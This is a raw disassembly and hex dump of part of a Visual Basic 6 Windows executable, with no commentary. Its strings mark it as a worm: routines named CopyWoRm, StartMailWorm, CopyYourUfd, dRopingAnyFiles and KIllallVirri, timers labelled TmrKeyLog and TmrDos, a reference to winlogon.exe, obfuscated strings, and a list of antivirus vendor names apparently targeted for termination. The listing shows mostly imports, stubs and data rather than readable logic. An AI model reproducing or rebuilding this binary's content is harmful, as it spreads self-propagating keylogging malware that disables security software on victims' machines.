    00405f74 wstring ".exe",0
    00405f7e
    00405f7e 00 00 ..
    00405f80
    00405f80 struct DeclareInfo
    00405f80 lpszLibraryName uint32 0x405f48
    00405f84 lpszFunctionName uint32 0x405f58
    00405f88 dwFlags uint32 0x00040000
    00405f8c lpCache uint32 0x41bc6c
    00405f90 dwReserved uint32 0x00000000
    00405f94
    00405f94 00 00 00 00 ....
    00405f98
    00405f98fn_405f98:
    00405f98mov eax, [0x41bc74]
    00405f9dor eax, eax
    00405f9fje 0x405fa3
    00405fa1jmp eax
    00405fa3
    00405fa3loc_405fa3:
    00405fa3push 0x405f80
    00405fa8mov eax, 0x4010e0
    00405fadcall eax
    00405fafjmp eax
    00405f98
    00405fb1
    00405fb1 00 00 00 ...
    00405fb4
    00405fb4 struct VBDeclareNameLength
    00405fb4 cbName int 20
    00405fb8
    00405fb8 string "GetSystemDirectoryA",0
    00405fcc
    00405fcc struct DeclareInfo
    00405fcc lpszLibraryName uint32 0x405f48
    00405fd0 lpszFunctionName uint32 0x405fb8
    00405fd4 dwFlags uint32 0x00040000
    00405fd8 lpCache uint32 0x41bc78
    00405fdc dwReserved uint32 0x00000000
    00405fe0
    00405fe0 00 00 00 00 ....
    00405fe4
    00405fe4fn_405fe4:
    00405fe4mov eax, [0x41bc80]
    00405fe9or eax, eax
    00405febje 0x405fef
    00405fedjmp eax
    00405fef
    00405fefloc_405fef:
    00405fefpush 0x405fcc
    00405ff4mov eax, 0x4010e0
    00405ff9call eax
    00405ffbjmp eax
    00405fe4
    00405ffd
    00405ffd 00 00 00 ...
    00406000
    00406000 struct VBDeclareNameLength
    00406000 cbName int 11
    00406004
    00406004 string "user32.dll",0
    0040600f
    0040600f 00 .
    00406010
    00406010 struct VBDeclareNameLength
    00406010 cbName int 12
    00406014
    00406014 string "EnumWindows",0
    00406020
    00406020 struct DeclareInfo
    00406020 lpszLibraryName uint32 0x406004
    00406024 lpszFunctionName uint32 0x406014
    00406028 dwFlags uint32 0x00040000
    0040602c lpCache uint32 0x41bc84
    00406030 dwReserved uint32 0x00000000
    00406034
    00406034 00 00 00 00 ....
    00406038
    00406038fn_406038:
    00406038mov eax, [0x41bc8c]
    0040603dor eax, eax
    0040603fje 0x406043
    00406041jmp eax
    00406043
    00406043loc_406043:
    00406043push 0x406020
    00406048mov eax, 0x4010e0
    0040604dcall eax
    0040604fjmp eax
    00406038
    00406051
    00406051 00 00 00 ...
    00406054
    00406054 struct VBDeclareNameLength
    00406054 cbName int 7
    00406058
    00406058 string "user32",0
    0040605f
    0040605f 00 .
    00406060
    00406060 struct VBDeclareNameLength
    00406060 cbName int 13
    00406064
    00406064 string "EnableWindow",0
    00406071
    00406071 00 00 00 ...
    00406074
    00406074 struct DeclareInfo
    00406074 lpszLibraryName uint32 0x406058
    00406078 lpszFunctionName uint32 0x406064
    0040607c dwFlags uint32 0x00040000
    00406080 lpCache uint32 0x41bc90
    00406084 dwReserved uint32 0x00000000
    00406088
    00406088 00 00 00 00 ....
    0040608c
    0040608cfn_40608c:
    0040608cmov eax, [0x41bc98]
    00406091or eax, eax
    00406093je 0x406097
    00406095jmp eax
    00406097
    00406097loc_406097:
    00406097push 0x406074
    0040609cmov eax, 0x4010e0
    004060a1call eax
    004060a3jmp eax
    0040608c
    004060a5
    004060a5 00 00 00 ...
    004060a8
    004060a8 struct VBDeclareNameLength
    004060a8 cbName int 10
    004060ac
    004060ac string "GetParent",0
    004060b6
    004060b6 00 00 ..
    004060b8
    004060b8 struct DeclareInfo
    004060b8 lpszLibraryName uint32 0x406058
    004060bc lpszFunctionName uint32 0x4060ac
    004060c0 dwFlags uint32 0x00040000
    004060c4 lpCache uint32 0x41bc9c
    004060c8 dwReserved uint32 0x00000000
    004060cc
    004060cc 00 00 00 00 ....
    004060d0
    004060d0fn_4060d0:
    004060d0mov eax, [0x41bca4]
    004060d5or eax, eax
    004060d7je 0x4060db
    004060d9jmp eax
    004060db
    004060dbloc_4060db:
    004060dbpush 0x4060b8
    004060e0mov eax, 0x4010e0
    004060e5call eax
    004060e7jmp eax
    004060d0
    004060e9
    004060e9 00 00 00 ...
    004060ec
    004060ec struct VBDeclareNameLength
    004060ec cbName int 11
    004060f0
    004060f0 string "ShowWindow",0
    004060fb
    004060fb 00 .
    004060fc
    004060fc struct DeclareInfo
    004060fc lpszLibraryName uint32 0x406058
    00406100 lpszFunctionName uint32 0x4060f0
    00406104 dwFlags uint32 0x00040000
    00406108 lpCache uint32 0x41bca8
    0040610c dwReserved uint32 0x00000000
    00406110
    00406110 00 00 00 00 ....
    00406114
    00406114fn_406114:
    00406114mov eax, [0x41bcb0]
    00406119or eax, eax
    0040611bje 0x40611f
    0040611djmp eax
    0040611f
    0040611floc_40611f:
    0040611fpush 0x4060fc
    00406124mov eax, 0x4010e0
    00406129call eax
    0040612bjmp eax
    00406114
    0040612d
    0040612d 00 00 00 ...
    00406130
    00406130 struct VBDeclareNameLength
    00406130 cbName int 15
    00406134
    00406134 string "GetWindowTextA",0
    00406143
    00406143 00 00 00 00 00 .....
    00406148
    00406148 struct DeclareInfo
    00406148 lpszLibraryName uint32 0x406058
    0040614c lpszFunctionName uint32 0x406134
    00406150 dwFlags uint32 0x00040000
    00406154 lpCache uint32 0x41bcb4
    00406158 dwReserved uint32 0x00000000
    0040615c
    0040615c 00 00 00 00 ....
    00406160
    00406160fn_406160:
    00406160mov eax, [0x41bcbc]
    00406165or eax, eax
    00406167je 0x40616b
    00406169jmp eax
    0040616b
    0040616bloc_40616b:
    0040616bpush 0x406148
    00406170mov eax, 0x4010e0
    00406175call eax
    00406177jmp eax
    00406160
    00406179
    00406179 00 00 00 ...
    0040617c
    0040617c struct VBDeclareNameLength
    0040617c cbName int 14
    00406180
    00406180 string "GetClassNameA",0
    0040618e
    0040618e 00 00 ..
    00406190
    00406190 struct DeclareInfo
    00406190 lpszLibraryName uint32 0x406058
    00406194 lpszFunctionName uint32 0x406180
    00406198 dwFlags uint32 0x00040000
    0040619c lpCache uint32 0x41bcc0
    004061a0 dwReserved uint32 0x00000000
    004061a4
    004061a4 00 00 00 00 ....
    004061a8
    004061a8fn_4061a8:
    004061a8mov eax, [0x41bcc8]
    004061ador eax, eax
    004061afje 0x4061b3
    004061b1jmp eax
    004061b3
    004061b3loc_4061b3:
    004061b3push 0x406190
    004061b8mov eax, 0x4010e0
    004061bdcall eax
    004061bfjmp eax
    004061a8
    004061c1
    004061c1 00 00 00 ...
    004061c4
    004061c4 struct VBDeclareNameLength
    004061c4 cbName int 13
    004061c8
    004061c8 string "SendMessageA",0
    004061d5
    004061d5 00 00 00 ...
    004061d8
    004061d8 struct DeclareInfo
    004061d8 lpszLibraryName uint32 0x406058
    004061dc lpszFunctionName uint32 0x4061c8
    004061e0 dwFlags uint32 0x00040000
    004061e4 lpCache uint32 0x41bccc
    004061e8 dwReserved uint32 0x00000000
    004061ec
    004061ec 00 00 00 00 ....
    004061f0
    004061f0fn_4061f0:
    004061f0mov eax, [0x41bcd4]
    004061f5or eax, eax
    004061f7je 0x4061fb
    004061f9jmp eax
    004061fb
    004061fbloc_4061fb:
    004061fbpush 0x4061d8
    00406200mov eax, 0x4010e0
    00406205call eax
    00406207jmp eax
    004061f0
    00406209
    00406209 00 00 00 ...
    0040620c
    0040620c struct VBDeclareNameLength
    0040620c cbName int 12
    00406210
    00406210 string "FindWindowA",0
    0040621c
    0040621c struct DeclareInfo
    0040621c lpszLibraryName uint32 0x406058
    00406220 lpszFunctionName uint32 0x406210
    00406224 dwFlags uint32 0x00040000
    00406228 lpCache uint32 0x41bcd8
    0040622c dwReserved uint32 0x00000000
    00406230
    00406230 00 00 00 00 ....
    00406234
    00406234fn_406234:
    00406234mov eax, [0x41bce0]
    00406239or eax, eax
    0040623bje 0x40623f
    0040623djmp eax
    0040623f
    0040623floc_40623f:
    0040623fpush 0x40621c
    00406244mov eax, 0x4010e0
    00406249call eax
    0040624bjmp eax
    00406234
    0040624d
    0040624d 00 00 00 ...
    00406250
    00406250 struct VBDeclareNameLength
    00406250 cbName int 27
    00406254
    00406254 string "WritePrivateProfileStringA",0
    0040626f
    0040626f 00 .
    00406270
    00406270 struct DeclareInfo
    00406270 lpszLibraryName uint32 0x405f48
    00406274 lpszFunctionName uint32 0x406254
    00406278 dwFlags uint32 0x00040000
    0040627c lpCache uint32 0x41bce4
    00406280 dwReserved uint32 0x00000000
    00406284
    00406284 00 00 00 00 ....
    00406288
    00406288fn_406288:
    00406288mov eax, [0x41bcec]
    0040628dor eax, eax
    0040628fje 0x406293
    00406291jmp eax
    00406293
    00406293loc_406293:
    00406293push 0x406270
    00406298mov eax, 0x4010e0
    0040629dcall eax
    0040629fjmp eax
    00406288
    004062a1
    004062a1 00 00 00 ...
    004062a4
    004062a4 struct VBDeclareNameLength
    004062a4 cbName int 25
    004062a8
    004062a8 string "GetPrivateProfileStringA",0
    004062c1
    004062c1 00 00 00 ...
    004062c4
    004062c4 struct DeclareInfo
    004062c4 lpszLibraryName uint32 0x405f48
    004062c8 lpszFunctionName uint32 0x4062a8
    004062cc dwFlags uint32 0x00040000
    004062d0 lpCache uint32 0x41bcf0
    004062d4 dwReserved uint32 0x00000000
    004062d8
    004062d8 00 00 00 00 ....
    004062dc
    004062dcfn_4062dc:
    004062dcmov eax, [0x41bcf8]
    004062e1or eax, eax
    004062e3je 0x4062e7
    004062e5jmp eax
    004062e7
    004062e7loc_4062e7:
    004062e7push 0x4062c4
    004062ecmov eax, 0x4010e0
    004062f1call eax
    004062f3jmp eax
    004062dc
    004062f5
    004062f5 00 00 00 79 4f ad 33 99 66 cf 11 ...yO.3.f..
    00406300 b7 0c 00 aa 00 60 d3 93 06 00 00 00 .....`......
    0040630c
    0040630c wstring "'cz",0
    00406314
    00406314 9c 00 44 01 01 00 1a 00 00 00 00 00 ..D.........
    00406320 00 00 02 00 10 00 01 00 14 00 02 00 24 00 02 00 ............$...
    00406330 34 00 02 00 44 00 02 00 54 00 02 00 64 00 02 00 4...D...T...d...
    00406340 74 00 01 00 78 00 02 00 88 00 02 00 98 00 02 00 t...x...........
    00406350 a8 00 02 00 b8 00 02 00 c8 00 02 00 dc 00 01 00 ................
    00406360 e0 00 01 00 e4 00 01 00 e8 00 01 00 34 01 01 00 ............4...
    00406370 38 01 01 00 ec 00 01 00 f0 00 02 00 08 01 05 00 8...............
    00406380 00 00 00 00 01 00 00 00 00 00 00 00 01 00 92 01 ................
    00406390 04 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 ................
    004063a0 01 00 00 00 08 00 00 00 20 01 02 00 30 01 01 00 ........ ...0...
    004063b0 06 00 00 00 ....
    004063b4
    004063b4 wstring "xxx",0
    004063bc
    004063bc 0a 00 00 00 ....
    004063c0
    004063c0 wstring "path1",0
    004063cc
    004063cc 00 00 00 00 ....
    004063d0 00 00 00 00 0a 00 00 00 ........
    004063d8
    004063d8 wstring "path2",0
    004063e4
    004063e4 0a 00 00 00 ....
    004063e8
    004063e8 wstring "path3",0
    004063f4
    004063f4 0a 00 00 00 ....
    004063f8
    004063f8 wstring "path4",0
    00406404
    00406404 0a 00 00 00 ....
    00406408
    00406408 wstring "path5",0
    00406414
    00406414 0a 00 00 00 ....
    00406418
    00406418 wstring "path6",0
    00406424
    00406424 0a 00 00 00 ....
    00406428
    00406428 wstring "path7",0
    00406434
    00406434 0a 00 00 00 ....
    00406438
    00406438 wstring "path8",0
    00406444
    00406444 08 00 00 00 ....
    00406448
    00406448 wstring "path",0
    00406452
    00406452 00 00 56 42 41 36 2e 44 4c 4c 00 00 00 00 ..VBA6.DLL....
    00406460
    00406460 struct GUID
    00406460 guid guid fcfb3d23-a0fa-1068-a738-08002b3371b5
    00406470
    00406470 22 3d fb fc fa a0 68 10 a7 38 08 00 2b 33 71 b5 "=....h..8..+3q.
    00406480 02 00 00 00 60 64 40 00 70 64 40 00 00 00 00 00 ....`d@.pd@.....
    00406490 02 00 00 00 ....
    00406494
    00406494 wstring "X",0
    00406498
    00406498 18 00 00 00 ....
    0040649c
    0040649c wstring "winlogon.exe",0
    004064b6
    004064b6 00 00 1a 00 1c 00 00 00 02 00 ..........
    004064c0 00 00 00 00 00 00 02 00 14 00 05 01 ff ff ff ff ................
    004064d0 00 00 00 00 cd cc f2 91 be 91 1c 46 88 3f 07 40 ...........F.?.@
    004064e0 8b 0a f4 73 ...s
    004064e4
    004064e4 struct GUID
    004064e4 guid guid 774a3c54-035b-4c94-82f7-6455bed16fc7
    004064f4
    004064f4 struct GUID
    004064f4 guid guid 816f015c-7d2b-4943-a6b7-eb9575199200
    00406504
    00406504 struct GUID
    00406504 guid guid 6d5ddeb6-1ec2-4871-adab-b3ee4d58ae3f
    00406514
    00406514 struct GUID
    00406514 guid guid 33ad4f2a-6699-11cf-b70c-00aa0060d393
    00406524
    00406524 string "Timer2",0
    0040652b
    0040652b 00 2e 3d fb fc ..=..
    00406530 fa a0 68 10 a7 38 08 00 2b 33 71 b5 43 3a 5c 50 ..h..8..+3q.C:\P
    00406540 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 4d 69 63 rogram Files\Mic
    00406550 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 rosoft Visual St
    00406560 75 64 69 6f 5c 56 42 39 38 5c 56 42 36 2e 4f 4c udio\VB98\VB6.OL
    00406570 42 00 00 00 56 42 00 00 2c 65 40 00 00 00 00 00 B...VB..,e@.....
    00406580 06 00 00 00 09 00 00 00 3c 65 40 00 74 65 40 00 ........<e@.te@.
    00406590 fc bc 41 00 00 00 00 00 00 00 00 00 80 3c 1b 00 ..A..........<..
    004065a0
    004065a0 string "Timer3",0
    004065a7
    004065a7 00 .
    004065a8
    004065a8 struct GUID
    004065a8 guid guid 33ad4f3a-6699-11cf-b70c-00aa0060d393
    004065b8
    004065b8 string "Form",0
    004065bd
    004065bd 00 00 00 ...
    004065c0
    004065c0 string "TmrDos",0
    004065c7
    004065c7 00 .
    004065c8
    004065c8 string "TmrTungguconect",0
    004065d8
    004065d8 struct GUID
    004065d8 guid guid 33ad4ee2-6699-11cf-b70c-00aa0060d393
    004065e8
    004065e8 string "TxtCaption",0
    004065f3
    004065f3 00 .
    004065f4
    004065f4 string "TmrKeyLog",0
    004065fe
    004065fe 00 00 ..
    00406600
    00406600 string "Text1",0
    00406606
    00406606 00 00 ..
    00406608
    00406608 struct VBDeclareNameLength
    00406608 cbName int 12
    0040660c
    0040660c string "wininet.dll",0
    00406618
    00406618 struct VBDeclareNameLength
    00406618 cbName int 25
    0040661c
    0040661c string "InternetCheckConnectionA",0
    00406635
    00406635 00 00 00 00 00 00 00 .......
    0040663c
    0040663c struct DeclareInfo
    0040663c lpszLibraryName uint32 0x40660c
    00406640 lpszFunctionName uint32 0x40661c
    00406644 dwFlags uint32 0x00040000
    00406648 lpCache uint32 0x41bd00
    0040664c dwReserved uint32 0x00000000
    00406650
    00406650 00 00 00 00 ....
    00406654
    00406654fn_406654:
    00406654mov eax, [0x41bd08]
    00406659or eax, eax
    0040665bje 0x40665f
    0040665djmp eax
    0040665f
    0040665floc_40665f:
    0040665fpush 0x40663c
    00406664mov eax, 0x4010e0
    00406669call eax
    0040666bjmp eax
    00406654
    0040666d
    0040666d 00 00 00 ...
    00406670
    00406670 struct VBDeclareNameLength
    00406670 cbName int 14
    00406674
    00406674 string "GetDriveTypeA",0
    00406682
    00406682 00 00 ..
    00406684
    00406684 struct DeclareInfo
    00406684 lpszLibraryName uint32 0x405f48
    00406688 lpszFunctionName uint32 0x406674
    0040668c dwFlags uint32 0x00040000
    00406690 lpCache uint32 0x41bd0c
    00406694 dwReserved uint32 0x00000000
    00406698
    00406698 00 00 00 00 ....
    0040669c
    0040669cfn_40669c:
    0040669cmov eax, [0x41bd14]
    004066a1or eax, eax
    004066a3je 0x4066a7
    004066a5jmp eax
    004066a7
    004066a7loc_4066a7:
    004066a7push 0x406684
    004066acmov eax, 0x4010e0
    004066b1call eax
    004066b3jmp eax
    0040669c
    004066b5
    004066b5 00 00 00 ...
    004066b8
    004066b8 string "instal",0
    004066bf
    004066bf 00 .
    004066c0
    004066c0 string "CopyWoRm",0
    004066c9
    004066c9 00 00 00 ...
    004066cc
    004066cc string "setMyRegister",0
    004066da
    004066da 00 00 ..
    004066dc
    004066dc string "KIllallVirri",0
    004066e9
    004066e9 00 00 00 ...
    004066ec
    004066ec string "CopyYourUfd",0
    004066f8
    004066f8 string "StartMailWorm",0
    00406706
    00406706 00 00 ..
    00406708
    00406708 string "SelamatkanMsVb",0
    00406717
    00406717 00 .
    00406718
    00406718 string "EndTKMnUW",0
    00406722
    00406722 00 00 ..
    00406724
    00406724 string "CreateMutex",0
    00406730
    00406730 string "kirimbo",0
    00406738
    00406738 string "taroocx",0
    00406740
    00406740 string "dRopingAnyFiles",0
    00406750
    00406750 string "shellbi",0
    00406758
    00406758 22 00 80 00 01 00 04 00 ".......
    00406760 00 00 00 00 34 00 04 00 00 00 00 00 ff 00 38 00 ....4.........8.
    00406770 01 00 3c 00 02 00 4c 00 01 00 00 00 e1 4e ad 33 ..<...L......N.3
    00406780 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 06 00 00 00 .f.......`......
    00406790
    00406790 wstring "lde",0
    00406798
    00406798 06 00 00 00 ....
    0040679c
    0040679c wstring "'ye",0
    004067a4
    004067a4 06 00 00 00 ....
    004067a8
    004067a8 wstring "zyq",0
    004067b0
    004067b0 struct TypeLibReference
    004067b0 lpTypeLibGuid uint32 0x406460
    004067b4 lpCache uint32 0x41bd18
    004067b8
    004067b8 02 00 00 00 ....
    004067bc
    004067bc wstring "\\",0
    004067c0
    004067c0 08 00 00 00 ....
    004067c4
    004067c4 wstring "yyyy",0
    004067ce
    004067ce 00 00 ..
    004067d0
    004067d0 struct VBDeclareNameLength
    004067d0 cbName int 5
    004067d4
    004067d4 string "bind",0
    004067d9
    004067d9 00 00 00 00 00 00 00 .......
    004067e0 16 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
    004067f0 00 00 73 01 ff ff ff ff 01 00 00 00 0c 00 08 00 ..s.............
    00406800 00 00 00 00 08 00 04 04 20 00 50 02 00 00 02 00 ........ .P.....
    00406810 40 01 04 34 2c 00 0a 20 00 00 2c 00 04 01 34 02 @..4,.. ..,...4.
    00406820 0a 20 3c 00 30 01 0e 00 . <.0...
    00406828
    00406828 struct VBDeclareNameLength
    00406828 cbName int 15
    0040682c
    0040682c string "FindFirstFileA",0
    0040683b
    0040683b 00 02 00 00 00 .....
    00406840
    00406840 wstring "w",0
    00406844
    00406844 struct DeclareInfo
    00406844 lpszLibraryName uint32 0x405f48
    00406848 lpszFunctionName uint32 0x40682c
    0040684c dwFlags uint32 0x00040000
    00406850 lpCache uint32 0x41bd1c
    00406854 dwReserved uint32 0x00000000
    00406858
    00406858 00 00 00 00 ....
    0040685c
    0040685cfn_40685c:
    0040685cmov eax, [0x41bd24]
    00406861or eax, eax
    00406863je 0x406867
    00406865jmp eax
    00406867
    00406867loc_406867:
    00406867push 0x406844
    0040686cmov eax, 0x4010e0
    00406871call eax
    00406873jmp eax
    0040685c
    00406875
    00406875 00 00 00 ...
    00406878
    00406878 struct VBDeclareNameLength
    00406878 cbName int 14
    0040687c
    0040687c string "FindNextFileA",0
    0040688a
    0040688a 00 00 ..
    0040688c
    0040688c struct DeclareInfo
    0040688c lpszLibraryName uint32 0x405f48
    00406890 lpszFunctionName uint32 0x40687c
    00406894 dwFlags uint32 0x00040000
    00406898 lpCache uint32 0x41bd28
    0040689c dwReserved uint32 0x00000000
    004068a0
    004068a0 00 00 00 00 ....
    004068a4
    004068a4fn_4068a4:
    004068a4mov eax, [0x41bd30]
    004068a9or eax, eax
    004068abje 0x4068af
    004068adjmp eax
    004068af
    004068afloc_4068af:
    004068afpush 0x40688c
    004068b4mov eax, 0x4010e0
    004068b9call eax
    004068bbjmp eax
    004068a4
    004068bd
    004068bd 00 00 00 ...
    004068c0
    004068c0 struct VBDeclareNameLength
    004068c0 cbName int 10
    004068c4
    004068c4 string "FindClose",0
    004068ce
    004068ce 00 00 ..
    004068d0
    004068d0 struct DeclareInfo
    004068d0 lpszLibraryName uint32 0x405f48
    004068d4 lpszFunctionName uint32 0x4068c4
    004068d8 dwFlags uint32 0x00040000
    004068dc lpCache uint32 0x41bd34
    004068e0 dwReserved uint32 0x00000000
    004068e4
    004068e4 00 00 00 00 ....
    004068e8
    004068e8fn_4068e8:
    004068e8mov eax, [0x41bd3c]
    004068edor eax, eax
    004068efje 0x4068f3
    004068f1jmp eax
    004068f3
    004068f3loc_4068f3:
    004068f3push 0x4068d0
    004068f8mov eax, 0x4010e0
    004068fdcall eax
    004068ffjmp eax
    004068e8
    00406901
    00406901 00 00 00 1c 00 24 00 00 00 04 00 00 00 00 00 .....$.........
    00406910 14 00 03 00 00 00 02 00 10 00 03 00 1c 00 01 00 ................
    00406920 12 00 00 00 ....
    00406924
    00406924 wstring "d`j{fzfo}",0
    00406938
    00406938 04 00 00 00 ....
    0040693c
    0040693c wstring "'e",0
    00406942
    00406942 00 00 06 00 00 00 ......
    00406948
    00406948 wstring "a}d",0
    00406950
    00406950 06 00 00 00 ....
    00406954
    00406954 wstring "{h{",0
    0040695c
    0040695c 06 00 00 00 ....
    00406960
    00406960 wstring "s`y",0
    00406968
    00406968 08 00 00 00 ....
    0040696c
    0040696c wstring "~~~'",0
    00406976
    00406976 00 00 04 00 00 00 ......
    0040697c
    0040697c wstring "..",0
    00406982
    00406982 00 00 0a 00 00 00 ......
    00406988
    00406988 wstring "\x7f`{|z",0
    00406994
    00406994 0c 00 00 00 ....
    00406998
    00406998 wstring "z|yf{}",0
    004069a6
    004069a6 00 00 10 00 00 00 ......
    004069ac
    004069ac wstring "DffgDh`e",0
    004069be
    004069be 00 00 ..
    004069c0 10 00 00 00 ....
    004069c4
    004069c4 wstring "pf|{z`}l",0
    004069d6
    004069d6 00 00 14 00 00 00 ......
    004069dc
    004069dc wstring "pf|{mfdh`g",0
    004069f2
    004069f2 00 00 10 00 00 00 ......
    004069f8
    004069f8 wstring "security",0
    00406a0a
    00406a0a 00 00 0a 00 00 00 ......
    00406a10
    00406a10 wstring "avira",0
    00406a1c
    00406a1c 0c 00 00 00 ....
    00406a20
    00406a20 wstring "norman",0
    00406a2e
    00406a2e 00 00 ..
    00406a30 0c 00 00 00 ....
    00406a34
    00406a34 wstring "norton",0
    00406a42
    00406a42 00 00 0a 00 00 00 ......
    00406a48
    00406a48 wstring "panda",0
    00406a54
    00406a54 0c 00 00 00 ....
    00406a58
    00406a58 wstring "mcafee",0
    00406a66
    00406a66 00 00 0a 00 00 00 ......
    00406a6c
    00406a6c wstring "Syman",0
    00406a78
    00406a78 0c 00 00 00 ....
    00406a7c
    00406a7c wstring "sophos",0
    00406a8a
    00406a8a 00 00 0a 00 00 00 ......
    00406a90
    00406a90 wstring "Trend",0
    00406a9c
    00406a9c 0c 00 00 00 ....
    00406aa0
    00406aa0 wstring "vaksin",0
    00406aae
    00406aae 00 00 ..
    00406ab0 0c 00 00 00 ....
    00406ab4
    00406ab4 wstring "novell",0
    00406ac2
    00406ac2 00 00 0a 00 00 00 ......
    00406ac8
    00406ac8 wstring "virus",0
    00406ad4
    00406ad4 0c 00 00 00 ....
    00406ad8
    00406ad8 wstring "g`yz\x7fj",0
    00406ae6
    00406ae6 00 00 1c 00 00 00 ......
    00406aec
    00406aec wstring "Gf{dhg)GCll\x7flz",0
    00406b0a
    00406b0a 00 00 0c 00 00 00 ......
    00406b10
    00406b10 wstring "g\x7fjfhz",0
    00406b1e
    00406b1e 00 00 ..
    00406b20 18 00 00 00 ....
    00406b24
    00406b24 wstring "Gf{dhg)Shgmh",0
    00406b3e
    00406b3e 00 00 ..
    00406b40
    00406b40 struct VBDeclareNameLength
    00406b40 cbName int 13
    00406b44
    00406b44 string "advapi32.dll",0
    00406b51
    00406b51 00 00 00 ...
    00406b54
    00406b54 struct VBDeclareNameLength
    00406b54 cbName int 15
    00406b58
    00406b58 string "OpenSCManagerA",0
    00406b67
    00406b67 00 02 00 00 00 .....
    00406b6c
    00406b6c wstring "W",0
    00406b70
    00406b70 struct DeclareInfo
    00406b70 lpszLibraryName uint32 0x406b44
    00406b74 lpszFunctionName uint32 0x406b58
    00406b78 dwFlags uint32 0x00040000
    00406b7c lpCache uint32 0x41bd40
    00406b80 dwReserved uint32 0x00000000
    00406b84
    00406b84 00 00 00 00 ....
    00406b88
    00406b88fn_406b88:
    00406b88mov eax, [0x41bd48]
    00406b8dor eax, eax
    00406b8fje 0x406b93
    00406b91jmp eax
    00406b93
    00406b93loc_406b93:
    00406b93push 0x406b70
    00406b98mov eax, 0x4010e0
    00406b9dcall eax
    00406b9fjmp eax
    00406b88